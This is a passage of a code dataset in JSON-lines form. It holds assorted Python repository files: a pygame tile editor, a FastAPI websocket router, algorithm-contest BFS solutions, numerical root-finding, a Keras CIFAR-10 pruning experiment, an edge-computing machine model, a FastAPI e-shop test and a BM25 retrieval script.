misc.resizePalletBack(myCanvas)\n# Draws the tile pallet, along with any tiles specified by the variable\n# \"tiles\"\ndrawers.initDraw(myCanvas, tiles, palletBack, windowSurface)\n# Run loop\nwhile(True):\n    isClick = isUnClick = False\n    button = None\n    # Check for mouse clicks and unclicks\n    for event in pygame.event.get():\n        if event.type == pygame.QUIT:\n            pygame.quit()\n            sys.exit()\n        elif event.type == pygame.MOUSEBUTTONDOWN:\n            if event.button == 1 or event.button == 3:\n                button = event.button\n                isClick = True\n            if event.button == 4:\n                isScrollUp = True\n                # Changes Canvas.scale to decrease the size of the scene\n                newScale = objects.Canvas.scale / RESIZE_FACT\n                # Limits maximum size\n                if newScale <= MAX_SCALE:\n                    objects.Canvas.scale = newScale\n            if event.button == 5:\n                isScrollDown = True\n                newScale = objects.Canvas.scale * RESIZE_FACT\n                # Limits minimum size\n                if newScale >= MIN_SCALE:\n                    objects.Canvas.scale = newScale\n        elif event.type == pygame.MOUSEBUTTONUP:\n            isUnClick = True\n    # Get mouse location\n    mouseLoc = pygame.mouse.get_pos()\n    # Updates the scene\n    selectedTiles, grid, gridRes, isDrag, selectedTile, \\\n            palletBack, isSnapped, sidesToSnap, snapdTile, \\\n            snapdSide, adjSide, oldMouseLoc = misc.update(myCanvas, tiles,\n            selectedTiles, mouseLoc, button, isUnClick, isClick, isScrollDown,\n            isScrollUp, grid, gridRes, isDrag, selectedTile,\n            palletBack, isSnapped, sidesToSnap, snapdTile,\n            snapdSide, adjSide, clock, FPS, oldMouseLoc, windowSurface)\n    isScrollDown = isScrollUp = False\n","repo_name":"esopsis/Rule110Tiles","sub_path":"rule110Tiles.py","file_name":"rule110Tiles.py","file_ext":"py","file_size_in_byte":3906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"13882267661","text":"from asyncio import sleep, exceptions\nimport json\n\nfrom fastapi import APIRouter, Request, WebSocket\nfrom fastapi.responses import HTMLResponse\nfrom redis.asyncio import Redis\nfrom websockets.exceptions import ConnectionClosedOK, ConnectionClosedError\n\nfrom controller import DataController\nfrom settings import settings\nfrom templates.template_processor import template_processor\n\n\nrouter = APIRouter()\n\n\n@router.get(\"/\", response_class=HTMLResponse)\nasync def root(request: Request):\n    ticker_names = await DataController.get_ticker_names()\n    return template_processor.TemplateResponse(\n        \"index.html\",\n        {\n            \"request\": request,\n            \"ticker_names\": sorted(ticker_names, key=lambda item: int(item.split(\"_\")[1])),\n        },\n    )\n\n\n@router.get(\"/ticker_entries/{ticker_name}\")\nasync def get_entries(ticker_name: str):\n    return await DataController.get_all_ticker_entries(ticker_name)\n\n\n@router.websocket(\"/realtime_data/{ticker_name}\")\nasync def get_realtime(ticker_name: str, websocket: WebSocket):\n    await websocket.accept()\n    redis_client = Redis(host=settings.REDIS_HOST, port=settings.REDIS_PORT, db=settings.REDIS_DB)\n    channel = redis_client.pubsub()\n    await channel.subscribe(ticker_name)\n    while True:\n        try:\n            msg = await channel.get_message(ignore_subscribe_messages=True)\n            if msg is not None:\n                await websocket.send_json(json.loads(msg[\"data\"]))\n            await sleep(0.01)\n        except (ConnectionClosedOK, ConnectionClosedError):\n            return\n        except exceptions.CancelledError:\n            await websocket.close()\n            return\n","repo_name":"kovalevvjatcheslav/trading_sample","sub_path":"web_service/router.py","file_name":"router.py","file_ext":"py","file_size_in_byte":1653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"86422182053","text":"'''\nProblem Solving Baekjoon 7569\nAuthor: Injun Son\nDate: October 18, 2020\n'''\n\nfrom collections import deque\nimport sys\nimport math\nimport copy\n\nwidth, height, depth = map(int, input().split())\nmaps = []\nstarts = []\nno_zero = True\n\ndef bfs(starts, maps, depth, height, width):\n    #가로, 세로, 높이로 각각 이동\n    dirs = [(1,0,0), (-1, 0, 0), (0, 1, 0), (0, -1, 0), (0, 0, 1), (0, 0, -1)]\n    queue = deque()\n    queue.extend(starts)\n    while queue:\n        cd, ch, cw, cnt = queue.popleft()\n        for dd, dh, dw in dirs:\n            nd, nh, nw = cd+dd, ch+dh, cw+dw\n            if 0<=nh<height and 0<=nd<depth and 0<=nw<width and maps[nd][nh][nw]==0:\n                maps[nd][nh][nw] = 1\n                queue.append((nd, nh, nw, cnt+1))\n    return cnt\n\n\n#토마토가 bfs후 다 익었는지 아닌지 체크\ndef check(maps, depth, height, width):\n    for d in range(depth):\n        for h in range(height):\n            for w in range(width):\n                if maps[d][h][w] == 0:\n                    return -1\n    return 0\n\nfor d in range(depth):\n    temp = []\n    for h in range(height):\n        a = list(map(int, input().split()))\n        for w in range(width):\n            if a[w]==0:\n                no_zero = False\n            if a[w] == 1:\n                starts.append((d, h, w, 0))\n        temp.append(copy.deepcopy(a))\n    maps.append(copy.deepcopy(temp))\n\n#처음부터 0이 하나도 없을 경우 더 계산할 필요가 없다\nif no_zero:\n    print(0)\n    exit()\n\ncount = bfs(starts, maps, depth, height, width)\n\nif check(maps, depth, height, width) != 0:\n    print(-1)\nelse:\n    print(count)","repo_name":"rheehot/ProblemSolving_Python","sub_path":"baekjoon_7569.py","file_name":"baekjoon_7569.py","file_ext":"py","file_size_in_byte":1624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"28284465755","text":"# 1949번 등산로 조성\n'''\n등산로를 만들기 위한 부지는 N * N 크기\n최대한 긴 등산로를 만들 계획\n각 숫자는 지형의 높이\n\n등산로를 만드는 규칙은 다음과 같다.\n\n① 등산로는 가장 높은 봉우리에서 시작해야 한다.\n② 등산로는 산으로 올라갈 수 있도록 반드시 높은 지형에서 낮은 지형으로\n가로 또는 세로 방향으로 연결이 되어야 한다.\n    즉, 높이가 같은 곳 혹은 낮은 지형이나, 대각선 방향의 연결은 불가능하다.\n③ 긴 등산로를 만들기 위해 딱 한 곳을 정해서 최대 K 깊이만큼 지형을 깎는 공사를 할 수 있다.\n\n'''\n# 필요한 경우 지형을 깎아 높이를 1보다 작게 만드는 것도 가능하다.\n\n\nfrom pprint import pprint\n\nN = 5\nK = 1\nmountain = [list(map(int, input().split())) for _ in range(5)]\n# pprint(mountain)\n\nstart = max(mountain)\n\n# ","repo_name":"hany0147/KDT","sub_path":"99_Pjt_KDT/Algorithm-Test-04/2200010/1949.py","file_name":"1949.py","file_ext":"py","file_size_in_byte":919,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"43053345772","text":"import argparse\n\nparser = argparse.ArgumentParser(description='Process some integers.')\nparser.add_argument('x')\nparser.add_argument('y')\n\nargs = parser.parse_args()\ndata = vars(args)\n\nx = data.get('x')\ny = data.get('y')\n\ndef hello(x,y):\n    z = None\n    try:\n        z = x / y\n    except ValueError as err:\n        print(f'Error: ValueError {err}')\n    except ZeroDivisionError as err:\n        print(f'Error: ZeroDivisionError: {err}')\n    except Exception as err:\n        print(f'Exception {err.__class__.__name__}: {err}')\n    finally:\n        print('here')\n        print(f'x={x} y={y} z={z}')\n\n\nhello(x,y)\n\n\n\n","repo_name":"g-deoliveira/python_for_data_analysis_columbia","sub_path":"try_except.py","file_name":"try_except.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"40549937736","text":"import math\n\n\ndef bisection_method(f, a, b, tolerance=1e-6):\n    if f(a) * f(b) > 0:\n        return math.nan\n\n    i = 0\n    while b - a >= tolerance or abs(f((a+b) / 2)) >= tolerance:\n        c = (a + b) / 2\n\n        if f(c) / f(a) > 0:\n            a = c\n        else:\n            b = c\n\n        i += 1\n\n    return (a + b) / 2, i\n\n\ndef newtons_method(f, df, x0, tolerance=1e-6, hop_limit=1000):\n    x = x0 - f(x0) / df(x0)\n    for i in range(hop_limit):\n        if abs(x - x0) < tolerance and abs(f(x)) < tolerance:\n            break\n\n        x0, x = x, x - f(x) / df(x)\n\n    return x, i\n\n\ndef chord_method(f, a, b, tolerance=1e-6):\n    c, c0 = (a+b)/2, math.inf\n\n    i = 0\n    while abs(c-c0) > tolerance or f(c) > tolerance:\n        i += 1\n        if f(a) * f(b) > 0:\n            return math.nan, 0\n\n        c0, c = c, (a*f(b) - b*f(a)) / (f(b) - f(a))\n\n        if f(c) == 0:\n            break\n        elif f(c) * f(a) < 0:\n            b = c\n        else:\n            a = c\n\n    return c, i\n\n\ndef main():\n    def f(x):\n        return 7*x**5 + 3*x**2 - 2*x - 3\n\n    def df(x):\n        return 35*x**4 + 6*x - 2\n\n    n = int(input('Number of real roots: '))\n\n    for i in range(1, n+1):\n        print('=' * 80)\n        print('{}{} root range: '.format(i, ('st', 'nd', 'rd')[i] if i < 4 else 'th'), end='')\n        a, b = map(float, input().split())\n\n        print('Bisection method: {} ({} iterations)'.format(*bisection_method(f, a, b)))\n        print('Chord method: {} ({} iterations)'.format(*chord_method(f, a, b)))\n        print('Newton\\'s method: {} ({} iterations)'.format(*newtons_method(f, df, (a+b)/2)))\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"olexander-movchan/labs-algo","sub_path":"approximation.py","file_name":"approximation.py","file_ext":"py","file_size_in_byte":1653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"19251112116","text":"# Simple CNN model for CIFAR-10\nimport numpy\nfrom keras.datasets import cifar10\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.layers import Dropout\nfrom keras.layers import Flatten\nfrom keras.constraints import maxnorm\nfrom keras.optimizers import SGD\nfrom keras.layers.convolutional import Conv2D\nfrom keras.layers.convolutional import MaxPooling2D\nfrom keras.utils import np_utils\nfrom keras import backend as K\nK.set_image_dim_ordering('th')\nimport numpy as np\nfrom sklearn.decomposition import PCA\nimport utils as ut\n\n# fix random seed for reproducibility\n#seed = 7\n#numpy.random.seed(seed)\n\n# load data\n(X_train, y_train), (X_test, y_test) = cifar10.load_data()\n\n# normalize inputs from 0-255 to 0.0-1.0\nX_train = X_train.astype('float32')\nX_test = X_test.astype('float32')\nX_train = X_train / 255.0\nX_test = X_test / 255.0\n\n# one hot encode outputs\ny_train = np_utils.to_categorical(y_train)\ny_test = np_utils.to_categorical(y_test)\nnum_classes = y_test.shape[1]\n\n#Parameters\npca_copmponents = 350\niteration_steps = 50\nouter_instances = 10\n\n#Create Augmentation\nX_train = np.mean(X_train,axis = 1)\nX_test = np.mean(X_test,axis = 1)\nΧ_train_unfold = np.reshape(X_train,(X_train.shape[0],-1))\nΧ_test_unfold = np.reshape(X_test,(X_test.shape[0],-1))\n\npca  = PCA(n_components=pca_copmponents)\npca.fit(Χ_test_unfold)\n\nX_train  = pca.transform(Χ_train_unfold)\nX_test  = pca.transform(Χ_test_unfold)\n\nX_train  = pca.inverse_transform(X_train)\nX_test  = pca.inverse_transform(X_test)\n\nX_train = np.reshape(X_train,(X_train.shape[0],1,32,32))\nX_test = np.reshape(X_test,(X_test.shape[0],1,32,32))\n\n# Create the model\nmodel = Sequential()\nmodel.add(Conv2D(32, (3, 3), input_shape=(1,32, 32), activation='relu', padding='same'))\nmodel.add(Dropout(0.2))\nmodel.add(Conv2D(32, (3, 3), activation='relu', padding='same'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\nmodel.add(Conv2D(64, (3, 3), activation='relu', padding='same'))\nmodel.add(Dropout(0.2))\nmodel.add(Conv2D(64, (3, 3), activation='relu', padding='same'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\nmodel.add(Conv2D(128, (3, 3), activation='relu', padding='same'))\nmodel.add(Dropout(0.2))\nmodel.add(Conv2D(128, (3, 3), activation='relu', padding='same'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\nmodel.add(Flatten())\nmodel.add(Dropout(0.2))\nmodel.add(Dense(1024, activation='relu', kernel_constraint=maxnorm(3)))\nmodel.add(Dropout(0.2))\nmodel.add(Dense(512, activation='relu', kernel_constraint=maxnorm(3)))\nmodel.add(Dropout(0.2))\nmodel.add(Dense(num_classes, activation='softmax'))\n\n\n# Compile model\nepochs = 25\nlrate = 0.01\ndecay = lrate/epochs\nsgd = SGD(lr=lrate, momentum=0.9, decay=decay, nesterov=False)\nmodel.compile(loss='categorical_crossentropy', optimizer=sgd, metrics=['accuracy'])\nprint(model.summary())\n\n# Fit the model\n\n\n# Evaluate first layer for different sparsity levels\nname_of_file = 'pca_layer0_ncom'+str(pca_copmponents)\nperCsp = np.linspace(0,0.95,iteration_steps)\nacc = np.zeros((iteration_steps,outer_instances))\n\ndef reset_weights(model):\n    session = K.get_session()\n    for layer in model.layers:\n        if hasattr(layer, 'kernel_initializer'):\n            layer.kernel.initializer.run(session=session)\n\n\nfor j in range(0,outer_instances):\n\n\n    model.fit(X_train, y_train, validation_data=(X_test, y_test), epochs=epochs, batch_size=32)\n\n    conv_original = model.get_layer('conv2d_1')\n    weights_original  = conv_original.get_weights()[0]\n    bias_original = conv_original.get_weights()[1]\n\n\n\n    for i in range(0,iteration_steps):\n        weights_tmp = ut.compute_thresholding_sparsification(weights_original, perCsp[i])\n        conv_original.set_weights([weights_tmp,bias_original])\n        acc[i,j] = model.evaluate(X_test, y_test, verbose=0)[1]\n\n    sgd = SGD(lr=lrate, momentum=0.9, decay=decay, nesterov=False)\n    model.compile(loss='categorical_crossentropy', optimizer=sgd, metrics=['accuracy'])\n    reset_weights(model)\n\nnp.save('cifar_10_with_pca/results/'+name_of_file+'_mean_acc.npy',np.mean(acc,axis=1))\nnp.save('cifar_10_with_pca/results/'+name_of_file+'_var_acc.npy',np.var(acc,axis=1))\nnp.save('cifar_10_with_pca/results/'+name_of_file+'_sp.npy',perCsp)\n\nend  = 1","repo_name":"konstantinos-p/DNN_Pruning_and_Accuracy.","sub_path":"create_model_Cifar_with_pca.py","file_name":"create_model_Cifar_with_pca.py","file_ext":"py","file_size_in_byte":4204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"22309542669","text":"import numpy as np\nfrom decimal import Decimal\n\n\n# machine type: edge or core\nclass Machine:\n    global_index = -1\n\n    def __init__(self, machine_profile):\n        self.id = Machine.get_global_id()\n        self.mec_net = None\n\n        self.machine_profile = machine_profile\n        self.cpu_capacity = self.machine_profile.cpu_capacity\n        self.memory_capacity = self.machine_profile.memory_capacity\n        self.disk_capacity = self.machine_profile.disk_capacity\n        self.cpu = self.machine_profile.cpu\n        self.memory = self.machine_profile.memory\n        self.disk = self.machine_profile.disk\n\n        # periodically updated by Monitor\n        self.mon_cpu_utilization = 0\n        self.mon_cpu_util_hist = []\n        self.mon_memory_utilization = 0\n        self.mon_memory_util_hist = []\n        self.mon_disk_utilization = 0\n        self.mon_disk_util_hist = []\n        self.mon_disk_overutil_cnt = 0\n\n        self.running_service_instances = []\n        self.destroyed = False\n\n    @classmethod\n    def get_global_id(cls):\n        cls.global_index += 1\n        return cls.global_index\n\n    def attach(self, mec_net):\n        self.mec_net = mec_net\n\n    def run_service_instance(self, service):\n        self.cpu -= service.cpu\n        assert self.cpu >= 0\n        self.memory -= service.memory\n        assert self.memory >= 0\n        self.disk -= service.disk\n        assert self.disk >= 0\n\n        self.running_service_instances.append(service)\n\n    def stop_service_instance(self, service):\n        self.cpu += service.cpu\n        # assert self.cpu <= self.cpu_capacity, \"service {} stopped at machine {}\".format(service.id, self.get_state())\n        self.memory += service.memory\n        # assert self.memory <= self.memory_capacity\n        self.disk += service.disk\n        # assert self.disk <= self.disk_capacity\n\n        self.running_service_instances.remove(service)\n\n    def can_accommodate(self, service_profile):\n        if self.destroyed is True:\n            return False\n        return self.cpu >= service_profile.cpu and \\\n               self.memory >= service_profile.memory and \\\n               self.disk >= service_profile.disk\n\n    # TODO: 리워드 계산에 직접 쓰이기 때문에 성능에 큰 영향. 개선 필요\n    def compute_failure_score(self, hist_window_size=5):\n        # Assume that failure does not happen to the cloud server.\n        if self.id == 0:\n            return 0\n\n        hist_window_size = min(hist_window_size, len(self.mon_disk_util_hist))\n        index = len(self.mon_disk_util_hist) - 1\n        cnt = 0\n        sum = 0\n        while cnt < hist_window_size:\n            sum += float(self.mon_disk_util_hist[index])\n            index -= 1\n            cnt += 1\n        # 기존: 지난 5 주기 동안 disk utilization 평균이 곧 고장 확룔로 해석 (too much sensitive)\n        # return sum / hist_window_size\n        # 신규: disk_overutil 곱해서 보정\n        return (sum / hist_window_size) * self.mon_disk_overutil_cnt\n\n    def destroy(self):\n        services = self.running_service_instances\n        for service in services:\n            # https://simpy.readthedocs.io/en/latest/simpy_intro/process_interaction.html#interrupting-another-process\n            # self.env.interrupt(service)\n            service.work_event.interrupt(cause=0)\n\n            # Note that the call for the service interrupt is asynchronous, so update the remaining duration here.\n            elapsed_time = service.env.now - service.started_timestamp\n            service.duration = service.duration - elapsed_time if elapsed_time <= service.duration else 0\n\n            # self.stop_service_instance(service)\n            # self.mec_net.interrupted_services.append(service)\n\n        # FIXME: class 간 dependency 때문에(path cost 연산 등) 해당 머신을 topology 자체에서 지우지는 말고 스케쥴링만 배제되도록 임시 설정해놓음\n        # self.mec_net.machines.remove(self)\n        self.cpu_capacity = 0\n        self.cpu = 0\n        self.memory_capacity = 0\n        self.memory = 0\n        self.disk_capacity = 0\n        self.disk = 0\n        self.mon_disk_utilization = 0\n        self.mon_disk_overutil_cnt = 0\n\n        self.destroyed = True\n\n    def get_state(self):\n        return {\n            'id': self.id,\n            # 'cpu_capacity': self.cpu_capacity,\n            # 'memory_capacity': self.memory_capacity,\n            # 'disk_capacity': self.disk_capacity,\n            'cpu': \"{} / {}\".format(self.cpu, self.cpu_capacity),\n            'memory': \"{} / {}\".format(self.memory, self.memory_capacity),\n            'disk': \"{} / {}\".format(self.disk, self.disk_capacity),\n            # 'running_task_instances': len(self.running_task_instances),\n            # 'finished_task_instances': len(self.finished_task_instances)\n        }\n\n    def __repr__(self):\n        return str(self.id)\n\n\nclass MachineProfile:\n\n    def __init__(self, cpu_capacity, memory_capacity, disk_capacity, cpu=None, memory=None, disk=None, edgeDC_id=None):\n        memory_capacity = round(Decimal(memory_capacity), 9)\n        disk_capacity = round(Decimal(disk_capacity), 9)\n\n        self.cpu_capacity = cpu_capacity\n        self.memory_capacity = memory_capacity\n        self.disk_capacity = disk_capacity\n\n        self.cpu = cpu_capacity if cpu is None else cpu\n        self.memory = memory_capacity if memory is None else memory\n        self.disk = disk_capacity if disk is None else disk\n\n        self.edgeDC_id = edgeDC_id\n","repo_name":"dpnm-ni/ni-migration-simulation-public","sub_path":"core/machine.py","file_name":"machine.py","file_ext":"py","file_size_in_byte":5490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"41594889729","text":"from fastapi.testclient import TestClient\nfrom main import app\nfrom db.connect_db import database_connect_no_async\nfrom products.product_structure import EnableDisableProd, SingleProduct\nfrom fastapi import Request\n\n\n# Для тестов клиент это не пользователь, а объект, который будет посылвать запросы на сервер. Этот объект как раз и есть TestClient, он нужен ТОЛЬКО для тестирования запросов. Для теста просто функцияй такое не нужно.\n\nclient = TestClient(app)\n\n# Теперь мы можем тестировать функции из мэйн таким удобным способом и функция сразу вернет ответ.\ndef test_users():\n    connection = database_connect_no_async.get_connection()\n    cursor = connection.cursor()\n\n    cursor.execute(\"DELETE FROM users; DELETE FROM products\")\n    connection.commit()\n\n    cursor.execute(\n        \"\"\"\n        INSERT INTO users (access, name, login, password, phone, key) \n        VALUES ('admin', 'Admin', 'admin', 'admin', 'None', 'None') \n        RETURNING id, access, name, login, password, phone, key\n        \"\"\"\n        )   \n    connection.commit()\n\n# ############################################################################\n\n    # Авторизоваться\n    print (\"# Авторизоваться\")\n    res = client.post(\"/api/sign_in\", headers = {'login': 'admin', 'password': 'admin'}) \n    print (res.status_code)\n    print(res.json())\n \n# ############################################################################\n\n    cursor.execute(\"SELECT key FROM users WHERE login = 'admin'\")  \n    key_now = cursor.fetchall()[0][0] \n \n    lsit_single_prod = [\n        {\n            \"name\" : \"Новый-1\",\n            \"price\" : 800,\n            \"volume\": 8,\n            \"color\": \"black\"\n        },\n        {\n            \"name\" : \"Новый-2\",\n            \"price\" : 900,\n            \"volume\": 9,\n            \"color\": \"red\"\n        },\n    ]\n\n    # Добавить товары\n    print (\"# Добавить товары\")\n    res = client.post(\"/api/admin/add_products\", json = lsit_single_prod, headers = {'key': key_now}) \n    print (res.status_code)\n    print(res.json())\n\n    cursor.execute(f\"SELECT * FROM products\")\n    prod_now = cursor.fetchall()\n    print(prod_now)\n\n# ############################################################################\n\n    print (\"Внимание ключ\") \n    cursor.execute(\"SELECT key FROM users WHERE login = 'admin'\")  \n    key_now = cursor.fetchall()[0][0] \n    print(key_now)\n\n    cursor.execute(\"SELECT id FROM products p WHERE p.name = 'Новый-1'\")\n    id_now = cursor.fetchall()[0][0]\n    print (\"Внимание id\")\n    print(id_now)\n\n    new_param_prod = '{\"name\": \"Измененный-1\"}'\n\n    # Редактировать товар\n    print (\"# Редактировать товар\")\n    res = client.put(f\"/api/admin/edit_product/{id_now}\", data = new_param_prod, headers = {'key': key_now})\n\n    print (\"Внимание изменили\") \n    print (res.status_code)\n    print(res.json())\n    cursor.execute(f\"SELECT * FROM products\")\n    prod_now = cursor.fetchall()\n    print(prod_now)\n\n# ############################################################################\n\n    cursor.execute(\"SELECT key FROM users WHERE login = 'admin'\")  \n    key_now = cursor.fetchall()[0][0] \n    print(key_now)\n\n    cursor.execute(\"SELECT id FROM products\")\n    list_id = cursor.fetchall()\n    \n    print (\"Внимание список id\")\n    print(list_id)\n\n    # list_id_now_v1 = f'{\"prod_id\": [{list_id[0][0]}, {list_id[1][0]}], \"status\": \"Disable\"}'\n\n    print (\"Внимание список id now\")\n\n    list_id_now_v2 = {\n            \"prod_id\" : [list_id[0][0], list_id[1][0]],\n            \"status\" : \"Disable\"\n        }\n\n    print(list_id_now_v2)\n\n    # Включить и выключить список товаров\n    print (\"# Включить и выключить список товаров\")\n    res = client.put(f\"/api/admin/products\", json = list_id_now_v2, headers = {'key': key_now}) \n    print (res.status_code)\n    print(res.json())\n\n    cursor.execute(f\"SELECT * FROM products\")\n    prod_now = cursor.fetchall()\n\n    print(\"Продукты Disable\")\n    print(prod_now)\n\n# ############################################################################\n\n    # Выйти из аккаунта\n    res = client.post(\"/api/sign_out\", headers = {'key': key_now}) \n    print (res.status_code)\n    print(res.json())\n\n    cursor.close()\n    connection.close()\n","repo_name":"komarovblog/e-shop","sub_path":"tests/test_users.py","file_name":"test_users.py","file_ext":"py","file_size_in_byte":4688,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71576195302","text":"import numpy as np\nimport argparse\nfrom collections import Counter\nimport jieba\nimport json\nfrom tqdm import tqdm\nimport numpy as np\nfrom fastbm25 import fastbm25\nfrom collections import defaultdict\nfrom multiprocessing import Pool\nimport os\nfrom config import datafiles\n\n\ndef partition_arg_topK(matrix, K, axis=1):\n    \"\"\"\n    perform topK based on np.argpartition\n    :param matrix: to be sorted\n    :param K: select and sort the top K items\n    :param axis: 0 or 1. dimension to be sorted.\n    :return:\n    \"\"\"\n    a_part = np.argpartition(-matrix, K, axis=axis)\n    if axis == 0:\n        row_index = np.arange(matrix.shape[1 - axis])\n        a_sec_argsort_K = np.argsort(matrix[a_part[0:K, :], row_index], axis=axis)\n        return a_part[0:K, :][a_sec_argsort_K, row_index]\n    else:\n        column_index = np.arange(matrix.shape[1 - axis])[:, None]\n        a_sec_argsort_K = np.argsort(matrix[column_index, a_part[:, 0:K]], axis=axis)\n        return a_part[:, 0:K][column_index, a_sec_argsort_K]\n\n\n\n    \ndef get_corpus(train_source_file):\n    cnt = 0\n    with open(train_source_file, 'r') as f:\n        trainset = json.load(f)\n    train_code = []\n    for k,v in trainset.items():\n\n        k = k.split('--')\n        train_code.append(v + ' ' + k[-2])\n        \n    print(\"building tokenization ...\")\n    \n    new_train_code = []\n    for c in tqdm(train_code):\n        tokens = jieba.cut(c)\n        tokens = [t for t in tokens if t != ' ']\n        new_train_code.append(tokens)\n    \n    return new_train_code\n\n\ndef _get_similar_test(args):\n    bm25_model = args[0]\n    source = args[1]\n    item = args[2]\n    \n    \n    print(key)\n\n    return [key, tops]\n\ndef get_similar_test(corpus, test_file, test_source_file, topk_file, K = 20):\n    with open(test_file, 'r') as f:\n        test_sample = json.load(f)\n    with open(test_source_file) as f:\n        source = json.load(f)\n\n    topk_pair = defaultdict(list)\n    bm25_model = fastbm25(corpus)\n\n    for item in tqdm(test_sample):\n        key = \"{}--{}--{}--{}\".format(item['file'], item['loc'], item['name'], item['scope'])\n        if key in topk_pair:\n            continue\n        topk_pair[key] = []\n        code = source[key] + ' ' + item['name']\n        \n        code_token = list(jieba.cut(code))\n        code_token = [t for t in code_token if t!=' ']\n        \n        topk_results = bm25_model.top_k_sentence(code_token, k=K)\n        \n        for i in range(K):\n            topk_pair[key].append(corpus.index(topk_results[i][0]))\n    \n    with open(topk_file, 'w') as f:\n        f.write(json.dumps(topk_pair, indent=6))\n       \n\ndef construct_incontext_data(train_file, train_source_file, topk_file, topk_with_label_file):\n    def search(trainset, train_key):\n        train_key = train_key.split('--')\n        if len(train_key) > 4:\n            scope = train_key[-1]\n            name = train_key[-2]\n            loc = train_key[-3]\n            file = '--'.join(train_key[:-3])\n        else:\n            file, loc, name, scope = train_key\n        for item in trainset:\n            if item['file'] == file and item['loc'] == loc and item['name'] == name and item['scope'] == scope:\n                return item['processed_gttype']\n    with open(similar_file) as f:\n        topk = json.loads(f.read())\n    with open(train_file) as f:\n        trainset = json.load(f) \n    with open(train_source_file) as f:\n        train_source = json.load(f) \n    new_dict = []\n    train_keys, train_code = list(train_source.keys()), list(train_source.values())\n    for test_k, v in tqdm(topk.items()):\n        item_list = []\n        for idx in v:\n            similar_key = train_keys[idx]\n            label = search(trainset, similar_key)\n            item_list.append({similar_key : label})\n        new_dict.append({test_k:item_list})\n    \n    newdata = {}\n    for d in new_dict:\n        for c in d:\n            newdata[c] = d[c]\n    \n    with open(topk_with_label_file, 'w') as f:\n        json.dump(newdata, f, indent = 6)\n        \ndef gen_topk(train_file, train_source_file, test_file, test_source_file, topk_file, topk_with_label_file, K = 20):\n    # train_file, train_source_file, test_file, test_source_file are required input files\n    # topk_file is an intermediate file and you can set it to any path\n    # topk_with_label_file is the final output file required in our approach\n    print(\"getting corpus ... \")\n    corpus = get_corpus(train_source_file)\n    print(\"Finding Top K  ... \")\n    get_similar_test(corpus, test_file, test_source_file, topk_file, K = K)\n    construct_incontext_data(train_file, train_source_file, topk_file, topk_with_label_file)\n\n\ndef main():\n    parser = argparse.ArgumentParser()\n    parser.add_argument('-s', '--source', default = 'data', type=str, help = \"Path to the folder of source files\")\n    parser.add_argument('-k', '--topk', default = 20, required = False, type=int, help = \"Top K similar demonstrations\")\n    parser.add_argument('-o', '--no_slice', default = False, required = False, action = \"store_true\", help = \"Use no sliced code\")\n    parser.add_argument('-p', '--hop', default = 3, type=int, required = False, help = \"Number of hops\")\n    args = parser.parse_args()\n\n    if args.no_slice:\n        train_source_file = os.path.join(args.source, datafiles[\"trainset_sourcecode\"])\n        test_source_file = os.path.join(args.source, datafiles[\"testset_sourcecode\"])\n        topk_with_label_file = os.path.join(args.source, datafiles[\"similar_demos\"])\n    else:\n        train_source_file = os.path.join(args.source, datafiles[\"trainset_sliced_sourcecode\"].replace(\"HOP\", str(args.hop)))\n        test_source_file = os.path.join(args.source, datafiles[\"testset_sliced_sourcecode\"].replace(\"HOP\", str(args.hop)))\n        topk_with_label_file = os.path.join(args.source, datafiles[\"similar_sliced_demos\"].replace(\"HOP\", str(args.hop)))\n\n    gen_topk(\n        os.path.join(args.source, datafiles[\"trainset_metadata\"]),\n        train_source_file,\n        os.path.join(args.source, datafiles[\"testset_metadata\"]),\n        test_source_file,\n        os.path.join(args.source, \"topk_pair.json\"),\n        topk_with_label_file,\n        K = args.topk\n    )\n\nif __name__ == \"__main__\":\n    main()\n    \n","repo_name":"JohnnyPeng18/TypeGen","sub_path":"typegen/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":6174,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"35"}
{"seq_id":"4197318090","text":"\"\"\"Tests for comments notifier\"\"\"\nfrom django.core.mail import EmailMessage\nimport pytest\n\nfrom channels.models import Subscription\nfrom channels.factories.models import SubscriptionFactory\nfrom notifications.factories import NotificationSettingsFactory\nfrom notifications.models import EmailNotification\nfrom notifications.notifiers import comments\nfrom open_discussions import features\nfrom open_discussions.test_utils import any_instance_of\n\npytestmark = [pytest.mark.django_db]\n\n\n@pytest.mark.parametrize(\"is_enabled\", [True, False])\n@pytest.mark.parametrize(\"can_notify\", [True, False])\ndef test_can_notify(mocker, settings, is_enabled, can_notify):\n    \"\"\"Test that can_notify works correctly\"\"\"\n    mock_can_notify = mocker.patch(\n        \"notifications.notifiers.email.EmailNotifier.can_notify\",\n        return_value=can_notify,\n    )\n    notifier = comments.CommentNotifier(None)\n    settings.FEATURES[features.COMMENT_NOTIFICATIONS] = is_enabled\n    mock_notification = mocker.Mock()\n    expected = is_enabled and can_notify\n    assert notifier.can_notify(mock_notification) is expected\n    if is_enabled:\n        mock_can_notify.assert_called_once_with(mock_notification)\n    else:\n        mock_can_notify.assert_not_called()\n\n\n@pytest.mark.parametrize(\"is_immediate\", [True, False])\n@pytest.mark.parametrize(\"is_comment\", [True, False])\ndef test_create_comment_event(is_immediate, is_comment):\n    \"\"\"Tests that create_comment_event works correctly\"\"\"\n    ns = NotificationSettingsFactory.create(\n        immediate=is_immediate, never=not 